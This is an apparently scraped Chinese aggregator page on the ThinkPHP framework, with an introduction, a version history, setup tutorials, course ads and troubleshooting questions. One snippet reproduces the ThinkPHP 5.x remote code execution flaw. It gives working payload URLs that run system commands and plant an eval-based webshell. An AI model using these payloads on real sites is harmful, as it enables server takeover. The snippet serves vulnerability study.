thinkphp 订阅
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。 [1]  ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注您的业务逻辑。 展开全文
ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。ThinkPHP从诞生以来一直秉承简洁实用的设计原则,在保持出色的性能和至简的代码的同时,也注重易用性。并且拥有众多原创功能和特性,在社区团队的积极参与下,在易用性、扩展性和性能方面不断优化和改进。 [1]  ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP5.0以上版本支持,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展,ThinkPHP框架本身没有什么特别模块要求,具体的应用系统运行环境要求视开发所涉及的模块。作为一个整体开发解决方案,ThinkPHP能够解决应用开发中的大多数需要,因为其自身包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件,并且对于跨版本、跨平台和跨数据库移植都比较方便。并且每个组件都是精心设计和完善的,应用开发过程仅仅需要关注您的业务逻辑。
信息
定    义
一个开源轻量级PHP框架
诞    生
于2006年初
原    名
FCS
外文名
ThinkPHP
thinkphp发展历史
ThinkPHP发展历程,无数TPer一起见证了ThinkPHP的成长:2006年01月15日, ThinkPHP的雏形版本FCS0.6.0发布;2006年02月12日,(元宵节)发布FCS 0.6. 1 版本,Google讨论组成立;2006年03月15日, FCS 0.7.0版本发布;2006年05月07日, FCS 0.8版本发布;2006年10月25日, FCS 0.9.0版本发布;2006年12月25 日,SF项目和Google网站ThinkPHP项目申请完成;2007年01月01日, FCS正式更名为ThinkPHP;2007年01月08日, ThinkPHP 0.9.5版发布同期官方网站开通;2007年02月21日, TOPThink社区暨新版ThinkPHP官方网站开通,并提供社区支持;2007年02月25日, 发布ThinkPHP 0.9.6版本,完成FCS到ThinkPHP的正式迁移;2007年04月29日, ThinkPHP发布0.9.7版本;2007年07月01日, ThinkPHP发布0.9.8版本;2007年10月15 日,ThinkPHP发布1.0.0RC1版本,完成PHP5的重构;2007年12月15 日,ThinkPHP发布1.0.0正式版本标志着ThinkPHP步入轨道;2008年10月01日, ThinkPHP发布1.0.3正式版本;2008年12月25 日,ThinkPHP发布1.5正式版本并启动商业化支持服务,ThinkPHP进入稳定发展;2009年05月01日, ThinkPHP 发布1.6.0RC1版本;2009年10月01日, ThinkPHP发布2.0版本完成新的重构和飞跃,这是一次划时代的版本;2012年04月05日, ThinkPHP发布3.0版本 庆祝ThinkPHP发布6周年;2012年10月08日, ThinkPHP发布3.1版本;2012年11月11日, ThinkPHP3.1.2扩展包;2013年05月09日,ThinkPHP发布3.1.3完整版;2013年12月18日,ThinkPHP发布3.2正式版;2014年10月31日,ThinkPHP发布3.2.2完整版 [2]  ;2015年12月11日,ThinkPHP 5.0 Beta 发布;2017年02月27日,Thinkphp5.0.5完整版正式发布 [3]  ;2018年05月02日,Thinkphp5.1.0RC版本发布; [4]  2019年04月22日,Thinkphp6.0RC2版本发布 [5]  ;2019年08月16日,Thinkphp6.0RC4版本发布 [6]  ;2019年12月24日,Thinkphp6.0.1版本发布 [7]  ;
收起全文
精华内容
参与话题
问答
  • ThinkPHP

    2016-11-18 08:30:15
    什么是ThinkPHP? ThinkPHP的获取 ThinkPHP项目搭建教程 做法

    什么是ThinkPHP?

    ThinkPHP是一个免费的、开源的、快速的、基于MVC模式的、面向对象的轻量级开发框架。
    

    ThinkPHP的获取

    http://www.thinkphp.cn/
    

    ThinkPHP项目搭建教程

    http://www.icoolxue.com/play/2284
    

    做法:

    1.安装wamp,在www文件夹中创建ThinkPHP文件夹
    2.下载ThinkPHP核心文件包
    3.将核心文件包中的ThinkPHP文件夹复制到wamp的www文件夹的ThinkPHP文件夹中
    4.在www文件夹的ThinkPHP文件夹中创建入口文件index.php和admin.php
    5.访问www文件夹的ThinkPHP文件夹,自动创建Home文件夹和Admin文件夹
    6.在www文件夹的ThinkPHP文件夹中创建Public文件夹,存放Home和Admin的共同类文件
    

    入口文件:
    1.Index.php<前台入口>

    <?php
        //1.确定应用名称 Home
        define('APP_NAME','Home');
        //2.确定应用路径
        define('APP_PATH','./Home/');
        //3.引用核心文件
        require './ThinkPHP/ThinkPHP.php';
    ?>

    2.admin.php<后台入口>

    <?php
        //1.确定应用名称 Admin
        define('APP_NAME','Admin');
        //2.确定应用路径
        define('APP_PATH','./Admin/');
        //3.引用核心文件
        require './ThinkPHP/ThinkPHP.php';
    ?>
    展开全文
  • ThinkPHP开发大型商城

    万人学习 2016-01-25 17:27:53
    它诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布。早期的思想架构来源于Struts,后来经过不断改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和...
  • ThinkPHP新闻发布系统(前台+后台)绝对易学易用

    千次下载 热门讨论 2012-05-17 10:12:43
    通俗易懂的ThinkPHP文章发布系统源码(前台+后台) 主要是后台可以实现文章的非常方便的发布。 ThinkPHP框架+百度UEditor编辑器实现.具体使用方法参考ruby97的CSDN博客
  • ThinkPHP5.0框架开发

    千人学习 2018-03-13 14:00:30
    ThinkPHP V5.0是一个为API开发而设计的高性能框架——是一个和重构版本,采用... ThinkPHP5是一个全新的里程碑版本,包括路由、日志、异常、模型、数据库、模板引擎和验证等模块都已经重构,不适合原有3.2项目的升级。
  • ThinkPHP3.0 完全开发手册 chm 消耗0积分

    千次下载 热门讨论 2012-04-06 11:15:29
    ThinkPHP 3.0正式版完全开发手册 CHM格式 如果下载解压后无显示,请单击右键->属性:单击常规标签下方的“解除锁定”,然后“应用”,“确定”,即可查看 -------------------- 华丽的分割线 ---------------------...
  • 虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。 漏洞...

    漏洞概况

    ThinkPHP是一款国内流行的开源PHP框架,近日被爆出存在可能的远程代码执行漏洞,攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

    漏洞危害

    攻击者可通过该漏洞获取网站的控制权限,可修改页面,导致数据泄漏等问题。

    影响版本

    5.x < 5.1.31, <= 5.0.23

    复现环境

    thinkphp5.1   phpstudy集成环境(php5.6n+apache+mysql)

    复现过程

    1、如图所示首先搭建好环境

    2、利用system函数远程命令执行:

    http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=system&vars%5B1%5D%5B%5D=whoami

    3、通过phpinfo函数写出phpinfo()的信息:

    http://localhost/thinkphp5.1/html/public/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1

    4、写入shell:

    http://localhost/thinkphp5.1/html/public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20^%3C?php%20@eval($_GET[%22code%22])?^%3E%3Eshell.php

    或http://localhost/thinkphp5.1/html/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=../test.php&vars[1][]=<?php echo 'ok';?>

     

     

     

    展开全文
  • ThinkPHP无法加载模块

    2013-07-18 13:38:42
    thinkphp提示无法加载Login模块,URL的大小写我都注意了,这是什么原因造成的???麻烦各位大虾指点迷津,谢谢了 http://localhost/thinkmessage/index.php/Login/login 错误位置 FILE: D:\AppServ\...
  • ThinkPHP6实战开发电商系统

    千人学习 2020-05-07 11:58:33
    课程功能亮点:本次电商系统涵盖了ThinkPHP6常见的大部分功能知识点,多应用、中间件、视图渲染、助手函数、图片上传、验证码、数据库、模型、异常等。 电商系统界面参考早期的小米商城官网,包含:商品SKU、库存、...
  • 在CentOS8中安装了宝塔,配置thinkphp5.1版本环境时出了问题,在此之前网站虚拟域名成功配置,能够访问站点创建成功的页面 问题描述: 在访问tp5默认页面时报错 Warning: require(): open_basedir restriction in ...

    项目场景:

    在CentOS8中安装了宝塔,配置thinkphp5.1版本环境时出了问题,在此之前网站虚拟域名成功配置,能够访问站点创建成功的页面


    问题描述:

    在访问tp5默认页面时报错

    Warning: require(): open_basedir restriction in effect. File(/home/wwwroot/xxxxxx/thinkphp/start.php) is not within the allowed path(s): (/home/wwwroot/xxxxxx/public/:/tmp/:/proc/) in /home/wwwroot/xxxxxx/public/index.php on line 16
    
    Warning: require(/home/wwwroot/xxxxxx/thinkphp/start.php): failed to open stream: Operation not permitted in /home/wwwroot/xxxxxx/public/index.php on line 16
    
    Fatal error: require(): Failed opening required ‘/www/wwwroot/xxxxxx/public/../thinkphp/start.php’ (include_path=.:/usr/local/php/lib/php’) in /home/wwwroot/xxxxxx/public/index.php on line 16
    

    原因分析:

    起初看英文提示,以为是文件缺少,随后找了一下,发现文件都是在的。然后第二段警告提示了权限不足,又去修改权限,还是不行。后来发现是open_basedir的问题,那么有两个方法来解决这个问题。


    解决方案:

    1、在设置网站目录中,不要勾选防跨站攻击,问题解决。

    2、进入/www/server/nginx/conf目录下,找到fastcgi.conf,修改其中的一个参数’fastcgi_param PHP_ADMIN_VALUE’,没有的话可以自己加一个,/www/wwwroot是你的项目路径,每个人可能都不一样

    fastcgi_param  PHP_ADMIN_VALUE    "open_basedir=/www/wwwroot/:/tmp/:/proc/";
    

    两种方法任选其一即可

    展开全文
  • ThinkPHP3.1后端框架

    2018-03-21 15:49:04
    ThinkPHP是一个、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,原名FCS,2007年元旦正式更名为ThinkPHP,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的...
  • ThinkPHP6基于精简核心和统一用法两大原则在5的基础上对底层架构做了进一步的优化改进,并更加规范化。本课程以开发一个真实企业网站项目为基线,以TP6官网手册为标准,把TP6框架理论知识详细贯穿到整个项目实战开发...
  • 目前在根目录下有一个项目point。 这个项目采用的是thinkphp框架,其中有一个HTML路径为http://127.0.0.1/point/index.php/home/user/signin.html。...// 引入ThinkPHP入口文件 require './ThinkPHP/ThinkPHP.php';
  • ThinkPHP(1)——创建ThinkPHP项目

    千次阅读 2016-05-30 16:04:14
    导入ThinkPHP 配置单入口文件 测试thinkphp是单一入口的php框架,现在我们来创建一个thinkphp项目。1.创建php项目test我使用zend studio创建后,项目下默认有index.php2.导入ThinkPHP下载thinkphp,然后将thinkphp...

    thinkphp是单一入口的php框架,现在我们来创建一个thinkphp项目。

    1.创建php项目test

    我使用zend studio创建后,项目下默认有index.php

    2.导入ThinkPHP

    下载thinkphp,然后将thinkphp文件夹复制到项目中,与index.php同级

    3.配置单入口文件

    index.php文件就是入口文件,写入以下内容:

    <?php 
    define('APP_DEBUG', TRUE);
    define('APP_NAME', 'App');
    define('APP_PATH', './App/');
    require './ThinkPHP/ThinkPHP.php';

    4.测试

    然后打开服务器,访问该项目,出现以下界面,说明thinkphp导入成功

    这里写图片描述

    回到zend studio,刷新,发现多了个App文件夹,就是我们刚刚在入口文件中配置的APP_NAME和APP_PATH

    这里写图片描述

    App目录结构如下:

    这里写图片描述

    刚刚我们访问index.php其实就是访问上图中/Home/Controller下的IndexController中的index方法,我们可以更改其内容试试

    这里写图片描述

    这里写图片描述

    展开全文
  • 网站移植,从window的WAMP 转移到线上linux...#5 /var/www/html/thinkphp/ThinkPHP/ThinkPHP.php(94): Think\Think::start() #6 /var/www/html/thinkphp/index.php(24): require('/var/www/html/t...') #7 {main}
  • 在这个目录下新建了一个ThinkPHP文件夹,作为项目的文件夹。我将下载的ThinkPHP3.2.3放在该目录下,然后在项目文件夹下写项目,使用include时,无法正确包括头部模版。请问如何解决。![![![图片说明]...
  • ThinkPHP学习笔记(1) ThinkPHP 安装配置

    千次阅读 2015-01-08 20:59:50
    ThinkPHP由于网上对于3.2版本的教程并不多,因此我选择3.1.3版本进行学习。 安装ThinkPHP很简单,具体分为如下步骤: 1、下载安装WAMPServer,在windows环境下搭建服务器开发环境 2、在Wamp的服务器文档目录下(www...
  • 在学习笔记1中,我们已经为项目配置好了ThinkPHP框架。在第一次输入浏览器浏览项目后,ThinkPHP框架会自动为index项目(前台项目)创建index文件夹,并在文件夹下生成了如下目录: 由于开启了ThinkPHP的...
  • ThinkPHP5打造你的自动赚钱系统

    千人学习 2019-02-28 16:26:02
    ThinkPHP5打造你的赚钱系统:本课程不仅仅是一个纯技术教程,更是一个实现你财务自由的综合课程,其中包括thinkphp5入门、自动赚钱系统前端、后端的开发,也包括了微信登录,微信支付,支付宝支付,会员管理、订单...
  • (导出数量超过26条就会报这个错误,26条以及26以内...#8 D:\www\ziyuan\ThinkPHP\ThinkPHP.php(96): Think\Think::start() #9 D:\www\ziyuan\sundata_course\index.php(24): require('D:\www\ziyuan\T...') #10 {main}
  • ThinkPHP完美后台模板

    热门讨论 2012-08-16 13:22:47
    ThinkPHP完美后台模板。全面支持各种各样的后台需求。 可以是SNS,可以是电子商务,可以是企业站…
  • ThinkPHP框架漏洞

    2020-04-08 13:06:24
    ThinkPHP ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的。最早诞生于2006年初,原名为FCS,2007年元旦正式更名为ThinkPHP,并且遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,...
  • 我在开发thinkphp的时候,先下载了一个thinkphp包,再编译了index.php文件,但是总是会出现以下错误: **Warning: require_once(ThinkPHPCommon/runtime.php) [function.require-once]: failed to open stream: No...
  • 根目录下在App文件夹中有THinkPHP文件夹和index.php文件,在THinkPHP中Commen Conf Extend LIb Tpl和THinkPHP.php,报错:Parse error: syntax error, unexpected T_DNUMBER in F:\wamp\www\App\index.php on line 3 ...
  • thinkphp5.1、thinkphp6

    千次阅读 2019-09-27 02:42:58
    下载原装:https://packagist.org/packages/topthink/think composer create-project topthink/think tp 6.0.*-dev 文档地址 5.1取消了所有的系统常量 ...//需要use user的命名空间public fu...
  • 严格来说,ThinkPHP无需安装过程,这里所说的安装其实就是把ThinkPHP框架放入WEB运行环境(前提是你的WEB运行环境已经OK) 下面我们开始安装ThinkPHP的运行环境: 1.安装WEB运行环境(phpStudy),点击下载,下载...
  • 本套thinkphp采用的版本是3.2.3,完全从初级开始,搭载bootstrap+jquery,实现商城的开发. 商城具备的功能:分类管理,商品管理(支持多图上传,前台有图片放大镜),购物车,下订单(ajax三级联动地址管理),注册...
  • thinkphp5微信开发实践教程

    千人学习 2017-08-15 11:23:27
    本课程是基于ThinkPHP5.0.1的微信开发教程,在整个课程中全部采用原理讲解和实践开发配套的方式。在该教程中还包含了源码供大家下载。代码下载地址:https://code.csdn.net/hayixia606/wechat/tree/master
  • thinkphp文件上传设置的是上传的时候保存原文件名,上传的时候如何判断是否存在同名的文件,如果存在同名的文件即无法上传 。下面是我写的文件上传代码 ``` $fileSize = 2*1024*1024;// 文件大小=2M $fileName = './...
  • thinkphp5 使用 join

    千次阅读 2018-09-10 21:54:29
    alias相当于重命名 ...如果thinkphp5里想要使用join操作的话 $re = Db::table('meeting') -&gt;alias('m') -&gt;join('meeting_major b','m.id = b.meeting_id') -&gt;where([ '...
  • 最近一直用ThinkPHP,但每次都听到很多人说Yii特别厉害,特别强尤其是负载能力。 今天下载了Yii 1.1.14最新版,看了下,感觉文件结构比较乱。而且有很多在被引入的数组里面执行PHP。 有没有既用过Yii 又用过...

空空如也

1 2 3 4 5 ... 20
收藏数 47,638
精华内容 19,055
关键字:

thinkphp